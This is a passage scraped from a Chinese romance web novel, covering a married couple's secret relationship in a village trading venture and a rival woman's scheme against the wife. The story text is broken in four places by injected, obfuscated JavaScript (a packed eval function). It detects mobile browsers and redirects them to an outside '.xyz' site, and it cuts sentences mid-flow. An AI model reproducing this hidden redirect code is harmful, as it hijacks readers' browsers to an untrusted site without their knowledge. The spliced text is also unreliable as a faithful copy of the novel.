身旁多躺一个热似火炉的人，季灵儿这夜没被寒意侵扰，难得睡到晨光微透。 窗前挂着的旧布帘遮光不严实，晨光透进来，映着他温柔的眸光，也勾勒着二人相拥的轮廓。 她是被一枚落在眼皮上的吻唤醒的，睁开眼便撞进他含笑的眸光里。 “你很喜欢偷亲我的眼睛。” “不止眼睛。”秦劭道，看向她的目光愈发暧昧，轻缓瞄过他曾吻过的每一处。 若非被褥阻隔，还能再往下探。 仅仅想到他何意，季灵儿便臊红脸，逼仄空间里无处可逃，索性伸手捂他的眼。 秦劭低笑，扼住细腕挪到唇边，顺着青葱指节往上蹭，唇齿间的热意最终呼在指尖：“这个也喜欢。” 酥酥麻麻的细流窜起，季灵儿难耐地抽回手，嗔道：“真不害臊。” 秦劭反将人揽入怀中，低沉嗓音裹着笑意，在她耳畔辗转流连：“你我已是名副其实的夫妻，何来害臊之说。” 季灵儿鼻尖抵在他颈窝里，嗅了满腔温热，生怕有下一个动作，瓮声提醒：“我来着月事。” “知道，就抱一会儿。”他低低应了一声，掌心揉进她发间。 急促的敲门声响起，打破屋内静谧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501277|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林起在外面唤：“小师弟，该出发了。” 季灵儿几乎是条件反射脱开秦劭怀抱撑坐起来，慌乱应道：“我马上就来！” “村口等你。” 听门外脚步声渐远，她放松地呼出一大口气。 直到她收拾妥当，那人还懒洋洋躺在炕上，胳膊交叠枕在脑后，薄唇噙笑，一副悠然自得模样。 “今日还去镇上？” 他向来忙碌，季灵儿少见他如此，此情此景，竟生出几分别样的岁月静好之感，而他们，是一对寻常人家的新婚夫妻。 “嗯，昨日和林师兄商量好的，用前两日的利钱多买两辆驴车。” 她眼睛又有璀璨闪烁，秦劭贪心地想留住人，好看个够。 “换旁人去也是一样的。” 季灵儿戴帽子的动作顿住，侧头看他：“心疼我啊？” 他没回答，眼尾悄然染上笑意，只道：“灶上温着姜糖水，喝了再出去。” 季灵儿大口饮尽，临出门再三嘱咐他：“你出去记得锁好门，还有！莫让别人瞧见你从我屋里出去。” 这话听起来像是叮嘱见不得光的情人，秦劭不禁失笑，仍顺从应了。 三月头一日，大抵是春天脚步将近，打开门扑面而来的风不再似往日刺骨，日光暖暖洒在脸上，季灵儿心情也跟着舒展。 * 那厢秦家老夫人依例携阖府女眷赴城外华严寺上香祈福。马车行到半山腰止停，家仆回报前头有马车坏在山道最窄处，这才堵了去路。 老夫人掀帘查看，见前方乱作一团，遣人去询问可有帮忙之处。 片刻后跟着仆从回来一位年轻姑娘，帷帽遮面，月白织锦裙配滚边银丝褙子，身姿清瘦端直。 朝老夫人福身行过礼，不徐不疾开口：“我家车驾的车轴断裂，修缮需些时辰，劳老夫人和夫人们久候，实在惶恐。” 说着接过身后婢女手中的食盒，双手奉上：“此中备了些茶点鲜果，聊表歉意，还望老夫人莫嫌。” “无妨，山野意外谁也料不准。”老夫人好言宽慰几句，命人接过食盒。 女子又让人将另外几份分送至其他马车，一一妥当安置后，才退至道旁树荫下休憩。 老夫人瞧她进退有度，言谈举止皆有章法，不由多瞧了几眼。 吴嬷嬷参透她心思，提议：“前头修缮需得一会工夫，不如请那位姑娘到咱车上歇歇脚？” 至马车，女子取下帷帽，清丽面容显露出来，如画的眉眼含笑却不张扬，端的是沉静温婉。 简略寒暄过后，她打开方才食盒，取出一盏温热的参茶，平稳递予老夫人：“这茶润燥安神，于此春寒料峭时节最为适宜，请老夫人品用。” 老夫人接过，扑鼻而来的香气醇厚，不入口已令精神一振，赞道：“你不仅泡的一手好茶，人也细致周到。” 女子笑得恬静，回说：“老夫人谬赞，原是家中长辈特制的养神茶方，今日得遇老夫人这般明理慈和之人，才敢斗胆献上。” 玲珑心窍没瞒过老夫人慧眼，左右她亦好奇，搁了茶盏问道：“好孩子，难为你这般心性，不知是哪家的闺秀？” 女子敛眸压下心头紧张，悄悄提一口气，张口回话：“晚辈宋芮宁。” “祖母！” 47. 恩爱 “祖母。” 清亮的男声自马车外插进来，不偏不倚盖着宋芮宁的名字。 尾音未落尽，人已跃上来，躬身钻进车厢在临门处靠着车壁坐下。 “你这孩子，车上尚有女眷，怎的冒冒失失闯进来？”老夫人嗔道。 “祖母恕罪，孙儿赶着请安，不知车上有旁人。”秦勉歉然颔首，随即转向宋芮宁，目光交汇的刹那，惊怔之色浮上脸颊，“宋姑娘！” 宋芮宁自然也瞧清他，呼吸一窒，笑容凝在脸上，风干似的又僵又冷。 她千算万算，怎就把这人忘了。 老夫人瞧出异样，问秦勉：“你们认得？” “认得。” “不认得。” 二人异口同声，一模一样的坚定，答案截然相反。 宋芮宁攥紧绣帕，恳求看向秦勉，不求他帮自己，只求他别唱反调。 “祖母有所不知，”秦勉扬着桃花眼笑起来，在宋芮宁骤然收缩的瞳孔中，慢条斯理抛下惊雷：“她正是孙儿心仪已久，意欲求娶之人，今日竟在此巧遇，看来是天意成全。” 宋芮宁脑中轰然作响，压在指尖的力气几乎将绣帕撕裂，竭力维持镇定，“秦公子莫要妄言。” 老夫人显然也愣了，看看面色僵硬的宋芮宁，又看看一脸坦然甚至恳切的孙儿，惊讶渐渐化为意味深长的探究。 方才她报闺名的声音被打乱，依稀听见芮宁的名字，更觉此事蹊跷，重新问了一遍。 却是秦勉抢先替她答的，“祖母，这位是大嫂嫂娘家的姐妹，也姓宋。” 老夫人蹙眉：“芮宁不是只有一位兄长吗？” 秦勉：“并非嫡亲姐妹，再多的孙儿便不知了。” 宋芮宁听他当着自己面扯谎，粉碎她精心谋划的碰面，匪夷又气恼。 初次见面盘问家私太失礼数，既然秦勉和芮宁都识得，老夫人不急于一时，轻声斥秦勉：“难怪执意让芮宁替你相看，原来打的是这个算盘。” “可惜大嫂嫂被大哥藏起来了，若非天意眷顾孙儿，不知要拖到几时呢。”秦勉端着三分不羁嬉笑，故意在宋芮宁跟前提：“大哥和大嫂嫂真是恩爱，出远门还要将人带在身边，看得我直羡慕。” 提起小两口老夫人脸上尽是欣慰，“你大哥的确宠芮宁，总算这些年没白耽误，得了个可心的人。” 宋芮宁的路被秦勉堵了，听着二人描述原属于她的夫君与旁人如何恩爱，想笑笑不出，想辩辩不得，借口去看自家马车修缮进度离开。 走出老夫人视线，她扶着树干深吸一口气，愤恨地撕扯绣帕。 “宋姑娘。”秦勉跟上来，仍是满眼含笑。 宋芮宁眼底恨意翻涌，幽怨瞪他：“秦公子究竟想怎样？” 秦勉：“想娶你，这话我已对姑娘说过数遍。” “可我是你大哥的......”宋芮宁说到此处顿住，她是什么，什么也不是。 山风再起，吹得她衣袂翻飞，单薄的身子晃了晃，俨然一副弱不禁风模样。 秦勉跨前一步，将她困于方寸之间，明目张胆递送秋波：“大哥身边已经没你的位子，不如跟了我？” ... 林起拉着驴车等在村口，见季灵儿步履生风颇为诧异：“才一夜工夫，竟好利索了？” 他一直盯着脚下，季灵儿脑子转得快，煞有介事道：“不严重，只刚崴到时疼得厉害，揉开淤血就好得差不多了。” 林起宽下心，同她顽笑：“原说顺道去趟药铺呢，现下又省一笔......看来是云衡照顾有方。” 师兄们打趣他俩乃寻常，季灵儿明白林起没旁的意思，然心境使然，心虚令她下意识躲闪，纵身跃上驴车，催促道：“快赶路罢。” 二人离开不久，秦劭从房中走出，将门落锁，款步寻到另一处院落。 门扉敞着，青灰砖头堆砌的外墙爬满斑驳，院子里倒干净整洁，空旷摆着一张方形折叠木桌，两张矮凳。 热腾腾的烟火气自东边头一间屋子飘出，晨风里浸满饭菜香。 氤氲白雾中，围绕锅台忙碌的，是位与秦劭一般高的男子。 粗瓷碗盛的饭菜挤满小桌，秦禄反复在围裙上擦净手，恭让秦劭入座：“穷地方茶饭粗陋，东家莫嫌弃。” 秦劭：“填饱肚子就成，倒叫你费事了，别拘着，坐下一起用。” 秦禄应了声“哎”后小心翼翼坐下，头次与东家同桌吃饭，虽在自己家中仍拘束的紧，夹了一筷子咸菜放在碗边，边小口抿饭边用余光瞥对方，见他吃得开怀，才渐渐放松下来，筷子避着为数不多的肉菜和鸡蛋，专拣旁边一碟腌萝卜下饭。 秦劭觉察，抬眼看向他问：“我很吓人？” 秦禄喉头一滚咽下满口饭，“没，没有。” 慌张的模样只差将口是心非写在脸上，秦劭愈发不解：“你跟我也有十个年头了，办事向来利索，何至于吃顿饭如此扭捏。” “东家身份尊贵，我怕失礼。” 说到底还是怕，秦劭没再多言。 饭毕，秦劭道：“在这里你是东道主，可愿意带我逛逛？” 秦禄原不叫这名字，是少时卖身进秦家商铺做学徒改的，此地便是生养他的地方。也因在秦家做工，免了早年间一场灭顶的疫灾，成为村中少数幸存者之一。 他知道秦劭此行目的，愿意顶着触景生情的悲恸，领他四处走访。 一日下来，除却了解村中现状，还听到不少称赞弟子们的言语。 其中最多的，是赞姓季的俊俏小公子热心肠，肯帮着村里老弱做事，手也巧，针线功夫一教就会，还帮着阿婆们做过一日绣活，绣出来的虎头帽活灵活现，拿出去都没人信出自一位公子哥之手。 黄昏时分季灵儿同林起赶着驴车归村，一回自己住处便见炕头搁着一顶做工熟悉的虎头帽。 拿起细看，确认是自己留给阿婆作纪念的，遂问房中人：“它怎么在这里？” “我花一锭银子买的。” “一锭银子足够换一驴车帽子，你这买卖做得倒慷慨，故意接济阿婆么？” 秦劭承着她明知故问的目光，笑着回：“听闻是位季公子绣的，觉得很值这价，买来留给孩子用。” 暧昧眼神跟着话语落在她腹部，徐徐上移，蹭进娇羞的眼波里。 “什么孩子不孩子的。”季灵儿咕哝着别过脸，反倒将染了红霞的耳根暴露在他视线里。 秦劭心猿意马，长臂一伸将人揽进怀中，唇边笑意更浓：“自然是你与我的孩子。” 浓浓情意流转在两人交织的气息里，目光缠绵扭在一处，吸引彼此鼻尖相抵，轻蹭，最后忘情地吻上。 点燃两簇无法浇灭的火焰，各有各的煎熬。 “你可真是祸害。”季灵儿怨嗔着推开他，去端灶上热的饭菜。 “我祸害？”秦劭哭笑不得，颇有被人倒打一耙之感。 不好好忙他的事，跑来占她床榻，勾着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504990|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲，不是祸害是什么？ 季灵儿羞于出口，只暗自腹诽。 掀开冒着热气的砂锅盖子，鸡汤香气扑鼻而来，险些将她口水馋出来。 不禁想，祸害归祸害，知道给她准备吃食就不算太讨嫌。 ... 未免师弟们过于疲累，林起改了计划，两日往镇上一趟。 到出发这日，天刚泛鱼肚白，季灵儿打着哈欠到村口，驴车已装好货，先前头疼脑热腿脚不适的师兄们全部到了。 她反倒成了最迟的一个。 “嘿，真稀奇。”她嘟囔着看向染着朝霞的山巅，“今儿太阳是从东面起来的啊。” “有师父坐镇，哪个敢偷懒。” 季灵儿闻声回眸时正撞上云衡的视线，心口一阵咯噔，抿唇躲开对视，径直到梁宸分属的驴车旁，向其中一位师兄提出交换。 那师兄二话不说应了，反倒是梁宸警惕地看着她：“你又打什么算盘？” 季灵儿挑衅道：“途中乏趣，找你斗嘴。” 梁宸当即炸毛：“你脑子被驴踢了？” 这厢战火一触即发，那边云衡一颗心如同泡在沸水里，疼得直缩，默默收回视线，转身去牵驴缰。 队伍走起来，季灵儿才敢借同旁人说话的间隙回头望他，很快又转回来。 不能给云衡留念想，唯有狠心。 她没看到云衡投过来的那抹黯然又眷恋的目光，梁宸看见了。 讥笑道：“你跟那小子吵架了？” “关你什么事。” “怎么不关，凡让你不顺心的我都高兴。” “让你失望了，我顺心的很呢，”季灵儿眉眼弯弯地回他，特意加重语气补充：“尤其是先生来之后。” 秦劭只在村里溜达一圈，便治好了众人的懒病，省了林起和季灵儿许多苦口婆心的劝说，同行人听见这话无不往这方面想。 还有人问：“莫不是小师弟偷偷请师父来的坐镇的？” “师兄高看我了，我哪里有那胆子。”她回别人的时候语气明显温和。 梁宸扯出一抹冷笑，“你仗着好靠山，有什么不敢的。” “哦？小师弟什么靠山？” “我也不知。”季灵儿耸肩，面带无辜和问话的人一起看向梁宸，等他开口。 “她——”梁宸险些脱口，想到道出真相是遂了她的意，硬生生将话咽下，“我胡说的。” 他俩针锋相对惯了，师兄弟们听着图个乐，没多往心上放。 自打有了“义父”这层身份做挡箭牌，梁宸每每与季灵儿斗嘴总要在这上头吃瘪，季灵儿笑他蠢笨不长记性，但看他气急败坏却不能奈何的模样，虚荣心和好胜心都得了极大满足，嘴角压不住地往上翘。 坏趣味滋生出的得意，悄然掺杂进她对秦劭的感情里。 忍不住开始想他。 在镇上卖货看到有卖百花蜜便买了一罐，预备带回去给他尝尝。因怕颠簸罐子碎掉，特意用厚布裹了又裹，全程捧在怀里护着。 踩着暮光留下的残影兴冲冲奔回小破屋，门却是从外头锁着的，欢喜霎时落了空。 进屋后随手将蜜罐搁在旧木桌上，烦躁拆乱炕上叠放整齐的被褥，倒头躺下，盯着房梁发愣。 明明那人宿住没几日，被褥上却沾染了他身上的冷冽松香。 更想他了。 窗外传来沉稳的脚步声，季灵儿几乎是弹到门前的，边拉门栓边说：“你没走啊！” 48. 支走 林起眼看着季灵儿满脸惊喜僵成尴尬，笑问：“小师弟把我当成谁了？” “没谁。” 她不说，林起心中自有答案。 “我本是叫云衡一道来的，不过他说身体不舒服，让咱们看着商定。” 季灵儿大抵明白他的病因，只问：“商定什么？” 林起：“眼下有师父在师弟们不敢偷懒，但此非长久，咱们得想个法子调起大伙的积极性。” 虽说此次历练考核虽只依个人表现定夺，可若失了大伙协助，留下肯做事的人也是逆水行舟。 的确是亟待解决的问题。 季灵儿略一思忖，拊掌道：“我想到了！” 林起知她点子多，但这想出对策的速度仍令他意外，“洗耳恭听。” 季灵儿：“咱们不妨分出三组，每三日结算各组盈利，败组匀出一成收益归胜组。” 林起：“此法虽好，可若大家不愿配合，亦不能强求。” 季灵儿想了会儿，说：“师兄看这样如何，还是分组算盈利，不过改成赌局形式，各自下注赌认为能赢的一组，赢者可分得彩头，输的也不罚，只当图个乐子。若下注到自身所在组，赢则加倍得利，输则如常，如此只要有人参与下注，便能撬动大伙的兴致。” 赌桌上最不缺劲头，此法听起来可行，但林起仍有顾虑：“师父严令禁止过，不许咱们涉赌，更不许设赌局。” 季灵儿拨弄着桌上的蜜罐子，唇畔勾起狡黠：“咱是为激发师兄们的劲头，算不得赌......回头先生真问责，师兄全推到我身上便是。” 林起知她耍小聪明，眼下无更好的法子，思索片刻后应下。 待他离开，季灵儿拆了蜜罐子，指尖沾了一点含进口中，甜意漾开，暗诽某些人没口福。 正哼着不成调的小曲等水烧开，门响了。 似是有人从外推一把没推开，转而轻轻叩了两下。 拉开门扉，这回出现在视线中的，是秦劭。 “你没走？”她声音里透着藏不住的雀跃。 “去给你备吃的了。” 季灵儿这才注意到他手里捏着厚棉布，说完话蹲身端起地上冒着热气的汤瓮。 连忙侧身让路，关门时还不忘探头往外张望。 秦劭掀开瓮盖，乳白色的汤汁蒸腾起诱人的鲜香。 季灵儿咽着口水凑过去，看清里面的确是鱼，好奇道：“哪里来的鱼？” 总不能是下河捞的，这时节河中应当没鱼。 “去镇上买的。” 离此处最近的镇唯有她们卖货的那处，季灵儿警觉起来：“你去暗中考察我们？” “......”秦劭想把她脑袋撬开，无奈道：“专程去买鱼。” 有甜意淌入心房，悄然燎了心尖，非百花蜜的回甘，非鱼汤的香气。 季灵儿反复揣摩滋味，进一步确认来源，盈盈抬眼问：“那这汤？” “我煲的，还有问题吗？”他目光染了烛光的暖意，温和中藏着勾人亲近的浅笑。 他每每有坏心思便这样笑，像狐狸骗兔子时假惺惺的问好，季灵儿顷刻读懂，这人羞于说，却想引她问，是否专程为她煲的汤。 她才不上当。 歪着头，好整以暇打量他，侃道：“真是你自己煲的？横看竖看都不像会下厨的派头嘛。” “我没必要诓你。”秦劭失笑摇头，将汤勺转到她面前：“快喝吧。” “你用过了吗？” “用过了。”他说，忖了须臾，补充道：“晚膳用过，汤是专程给你熬的。” 最平淡不过的语气，偏在她心海里砸起浪花，荡出的涟漪皆泛着方才的甜意，一圈比一圈馥郁。 她同样淡然地“哦”一声，舀一勺吹凉送入口中，味道鲜香不腻，很是可口。暖意随着汤汁融入四肢百骸，弯着笑眼，把煲汤的手艺夸得天上有地上无。 “只说的好听？”秦劭挑眉，不满足于这些。 “夫君尝尝。”季灵儿很会卖乖，从善如流地软软接一句，舀汤喂到他唇边。 看他低头含住汤匙，忽然想起什么：“既是你自己煲的，为何要从外头端回来？” 秦劭噙着满嘴汤汁回身，半晌不语。 季灵儿：“被我说中，心虚了？” 秦劭眼中浮起兴味，反将话问回去：“你想让我明目张胆在你屋里炖鱼汤？” 季灵儿一怔，想起此景被旁人瞧去的后果，顿时红了耳根，讪讪回道：“当我没问”。 她显然不打算将二人关系挑明。 秦劭屈指扣在膝盖上，极轻地哼了哼：“小没良心。” 季灵儿不服气地努嘴：“我今日去镇上还惦记着给你带百花蜜呢，哪里没良心？” 秦劭早注意到桌上蜜罐，原以为是她贪甜买的，闻言一口没喝已甜到心坎里，精准捕捉到话中重点：“你白日去镇上还想着我？” 季灵儿压下唇角小小的弧度，埋头专注喝汤，任他怎么问都不肯抬头了。 ... 次日一早，林起将众弟子召集在一处说明想法，作为发起者，他与云衡、季灵儿三人各带一队，让大家自行选择跟随，人数不均再酌情调配。 弟子们对此法子没甚异议，倒是不少人生出和林起一般的顾虑：“师父可在呢，这般下注真没问题吗？” 林起看向季灵儿。 季灵儿提出想法时以为秦劭回去了，知道人没走，底气委实不如昨日足。 然而到了这一步，打肿脸也得撑足场面，“无妨，咱们是忙正事又非寻乐子，先生深明大义，不会计较这些的。” 不必去镇上，交代完安排众人各自散去，季灵儿回到屋里，深明大义的先生还悠闲躺在炕上。 季灵儿仔细挂好门栓，又检查窗棂是否遮严实，揣着小心思蹭到炕边坐下。 秦劭纳罕看完她一套动作，自觉往里挪了挪，留出半边暖位，嗓音懒懒：“再睡会儿？” 他显然误会了，季灵儿臊得满脸红又不便解释，索性豁出那点子羞怯，凑上去在他微启的唇上落下一枚轻吻，低声唤：“夫君。” 无事献殷勤，看来是有话说，秦劭疑惑转为了然，手肘挣着支起半身，等着她下文。 “夫君不忙吗？” “不忙。” “商行和府里定然都需要你坐镇，该回去看看的。”季灵儿不死心地劝道。 秦劭伸手勾开她交叠的指尖，握进自己掌心，慢条斯理道：“商行有其他当家和管事，府里有祖母和母亲，出不了乱子，但这里就——” 季灵儿抢道：“这里更出不了乱子了，你都看到了，林师兄带领我们做的很好。” “的确。”秦劭点点头，似是认同她的话。 季灵儿趁热打铁：“所以你不必日日守着的。” 秦劭良久不吱声，忽而松开她的手叹息：“是你嫌我碍眼？或是怕我待着被人撞破？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511229|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季灵儿再三衡量，选了自以为最后果最轻的理由：“的确不太方便，教师兄们撞见了不仅处境尴尬，日后你管教起来也作难，稍有不如意师兄们该揪着此事说你偏私于我，于你威名有损......” 真的假的掺杂一通，说的头头是道，险些连自己都要信了这份替他考虑的“真心”。 秦劭仰头，近距离盯着她忽闪的眼睛，气息挤在两人鼻尖：“当真是为我？” 季灵儿重重眨了眨眼，以表诚心。 秦劭低笑出声，目光暧昧向下，“那——亲我一下。” 说是一下。 结果同师兄们一起送他出村子时，整张嘴都是红的。 遭师兄关心，扯谎说喝热水烫着了。 马车刚消失在视线里，季灵儿便开盘口，广邀众人下注。 被闷在村子里小半月，外出亦为了卖货，弟子们早憋出满身躁动，虽说赌局是劳作，总归算一项乐子，纷纷围过来凑热闹。 为保公平，此次押注匿名进行，三位带队者负责记录不参与押注，清算下来，林起带队的组下注者最多，云衡和季灵儿不分伯仲。 秦劭回吉安当晚，管事递来的信儿就跟到了，将赌局情形述得一清二楚。 他看完信只淡淡一笑，对送信管事道：“暂且随他们去。” 管事乃商行老人，很明白他“暂且”两字的意味，悄悄替尚在兴头上的弟子们捏了把汗。 没了季灵儿的主屋格外冷清，秦劭独坐灯下翻书，竟半晌凝不住思绪，揉了揉眉心，唤玉秀进来。 “明日我要去曹县的铺子，到了曹县没有不去看岳丈的道理。” 秦劭说到此处顿住，捻着扳指似在思索。 “大爷的意思是......要去宋家？”玉秀紧张地声音发颤。 秦劭掀眼扫过她，神色如常道：“估摸我脱不开空，你跟着去，将我备下的礼送去岳丈府上，算表了我与少夫人的心意。” 玉秀悄然松一口气，勾头应是。 秦劭又问：“曹县可有少夫人喜爱的酒楼？我明日去尝尝。” 玉秀自然不知季灵儿爱哪家酒楼，随口报了最有名的一处。 翌日一进曹县，玉秀便听吩咐带着送礼的小厮往宋府去，秦劭径直往城南办事。 至午膳时分，特意拐到玉秀所说那家酒楼，选了二楼临窗的位置落座，点几样招牌菜，边吃边欣赏街边风景。 日头正暖，照着街上人来人往，是再寻常不过之景，他却看的颇有滋味。 用过膳下楼往外走，抬步过门槛时，恰与一迎面进来之人撞了满怀，对方是位纤弱女子，步履不稳，幸得他伸手托住手臂才未摔倒。 原举在她手中的糖画砸进他怀里，随即跌碎在二人脚边。 缕金百蝶穿花的云缎裙荡着细碎阳光，发间步摇铃铃晃响，半含羞涩地抬眸与他相对。 “抱歉，弄脏公子的衣襟了。” 秦劭压眉看向身前琥珀色的糖丝，淡声道：“无碍。” 女子却取出绣帕欲替他擦拭，秦劭侧身避过，“不劳姑娘。” 捏帕子的手尴尬垂回身前，端着笑意又道：“公子这身衣裳瞧着华贵，小女子请公子另置一件新衣，可好？” “不必。”秦劭冷清拒了，抬步欲走。 “那请公子赏脸喝杯赔礼酒罢，”女子略错身迎上，铁了心拦他，仰面将满脸歉意送进他眼底，“否则实在过意不去。” 49. 攀诬 秦劭没有拒绝。 折回一方清静席位落座，端了她敬来的酒一饮而尽，空杯置于案上发出一声脆响，神色清冷道：“酒已喝，宋姑娘有话不妨直说。” 宋芮宁愣在他冷峻的目光下：“公子......认得我？” “原要入我秦家门的人，秦某岂能不识。” 他竟认得自己，那就是说，他知晓府上的是冒牌货？ 宋芮宁原先准备好的说辞哽在喉头，杂乱成一团，不知该先捡哪句说。 秦劭好意提醒：“秦某以为，宋姑娘尚欠一个解释。” 语气里不容回避的逼迫感直剖她心底。 宋芮宁盯着杯中酒液，尽力让思绪沉淀。 “大婚前日，我遭人迷晕，醒来后一直被困在一处地窖，直到兄长带人救出，才知晓有人冒充我上了花轿，嫁入秦家......” 她期期艾艾道来，眸中有泪花浮动。 秦劭蹙了蹙眉：“依你的意思，是有人蓄谋冒名顶替与我成亲，所图为何？” “应，应当是......”宋芮宁听不出他的情绪，话出口没有回旋余地，端了破釜沉舟的心思，挤出两行清泪，委屈道：“听爹娘说，顶替我的人私下里还用我的性命威胁他们配合。” “威胁？”秦劭嗤笑。 “不止威胁，还讹了家中不少钱财，爹娘为保全我不敢声张，日日以泪洗面，都是我连累他们......”说到动情处，宋芮宁掩面抽泣不止。 哭了许久，始终不听秦劭动作，试探着从指缝瞧他神色。 她已哭的梨花带雨，对方却端坐如松，看不出丝毫动容。 “哭够了吗？” 冷冰冰的一声问落下来，宋芮宁在心中扯出讥讽。 如此冷情的男子，当真会和那冒牌丫头恩爱么？ 早前听说的传闻，秦勉和老夫人的对话，玉秀的描述交替回响耳畔。 暴戾，恩爱，温和，苛刻......无数矛盾字眼纠葛，宋芮宁分不清孰真孰假。 可以确认的是，眼前看向她的这双眼睛，寒凉得能结出冰棱，教人一阵阵打寒噤。 她自恃才情容貌不输于人，不甘心就此狼狈收场，仰着泪痕未干的脸，楚楚望他，凄然道：“公子不信我？” 秦劭：“姑娘口中‘那人’的行径，与内子相差甚远，我自然难以采信。” 内子？ 听出他对季灵儿的维护，宋芮宁把这两个字放后槽牙咬碎了也难咽下。 “我空口白牙辩解，公子不信是常情，”不甘转为嫉妒，宋芮宁发了狠，竟当众撩起袖口，露出小截腕子，上面青紫淤痕未曾消尽，还有一道浅疤横亘其间。 秦劭猝不及防看了眼，当即别开视线。 宋芮宁抚着伤痕，悲恸即从心底涌上来，用实实在在的痛楚为谎言做辅证。 “这是我地窖里挣扎求生所留，总不能是伪造罢.......” 秦劭收了与她好言相谈的心思，肃声道：“我不知宋姑娘此伤从何而来，但成亲之事真相如何，秦某并非全然不知，若姑娘要以此攀诬内子，秦某绝不会容情。至于秦某之妻，秦家上下只认季灵儿一人。” 掷地有声的一席话，震得宋芮宁耳中嗡鸣，从心头凉到指尖，冷得发颤。 “另外，劳姑娘转告令尊令堂，此事就此安稳揭过，秦家在人前依旧会认宋家这门姻亲，该有的体面不会少半分，但若再生旁的心思，莫怪秦某翻脸无情。” 秦劭说罢断然起身，走到楼梯转角，身后传来杯盏摔碎的声响。 他未理会，径直出了酒楼。 宋府。 宋员外听了女儿哭诉，急得背着手在厅上踱步，“并非全然不知是何意？他知道什么，知道多少？” 宋芮宁在酒楼时被下了脸面，震慑又羞愤，哪里顾得上深思秦劭话中蹊跷，再经父亲厉声追问，依偎在母亲怀里放声哭泣，一句囫囵话答不上来。 宋员外先前以为秦劭不知情，才铤而走险应了女儿此法，如今......脊背一阵阵发凉。 女儿哭得他心疼，又斥王氏：“你也是糊涂！怎么不劝着些。” 王氏如何没劝，她若能抵住女儿执拗，便不会闹到今天这一步。 眼瞧从女儿嘴里问不出更多，板着脸问候在一旁的玉秀：“你跟着那丫头在秦家伺候，一定知道什么，还不快如实说来！” 玉秀跟他们一样方才知晓，惊魂未定，闻言跪地颤声答道：“请老爷夫人明鉴，大爷从未提过半个字，奴婢真的不知情。” “当真？” “奴婢万万不敢隐瞒老爷夫人。” 宋员外颓然跌坐椅中，好一番寂静后，沉声叹道：“罢了，此事到此为止。” 他谋的是阖家富贵前程，自然想顺着秦劭留的情面及时收场。 宋芮宁却不肯依，抹着泪水看过来：“爹爹怎能就此罢休！” 宋员外见她这时候还任性，气不打一处来：“你逃婚在先，说起来秦劭肯不张扬已是仁至义尽，不罢休，难不成容着你将名声和一家子前程都毁尽吗？” “娘！”宋芮宁急跺脚，扯着王氏袖子撒娇。 “乖女儿，你爹有他的考虑，听话.......”王氏试图劝和，眼见她不依，改劝：“先头你不是说秦家三少爷拦了你，又说要娶你的话，连隐瞒你身份的说辞都想好了，看来对你十分真心，你原本就不想嫁秦劭，何苦扯着他纠缠？” 她可以不要，但想要的东西，偏要拿回来才甘心。 “我才看不上他那样的纨绔。” 宋员外更气：“哼！你倒是看上那姓陈的混账了，结果呢！” “老爷少说两句罢，”再往下就要扯伤疤了，王氏赶紧止住他的话。 乏累地两头劝，对女儿的语气不如早前温和：“你爹爹气话不好听，但眼下真不是任性的时候，你因任性吃得苦还不够吗？日后夫家若知晓定然轻贱于你，嫁个真心疼你的，即便瞒不住，情分撑着，你再软言软语撒个娇，也不至于太薄待。” 王氏的话戳在痛处，宋芮宁咬唇不语。 见女儿情绪稳住，王氏做主吩咐跪在地上的玉秀：“你回去后寻机向三少爷递个话，只说老爷有事请他得空来府上一叙。” 玉秀叩首应了。 ... 弟子们的第一个结算日，结果不出其右，林起组获胜。 其他人的兴致是否被激起暂且不论，季灵儿的胜负欲空前高涨，铆足劲头要赢回一局。 单叫卖声便比往日响亮三分，背着背篓穿行街市，逢人先来一通夸捧，把人哄得眉开眼笑，顺势递上货品热情推介。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517481|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嘴甜手脚勤，但收效一般。 卖货有些时日，镇上有意向的散客大多已买过一回，短时间难有复购，收益增长难与前几日相比。 趁坐在桥头石墩子歇脚的工夫，默默盘算。 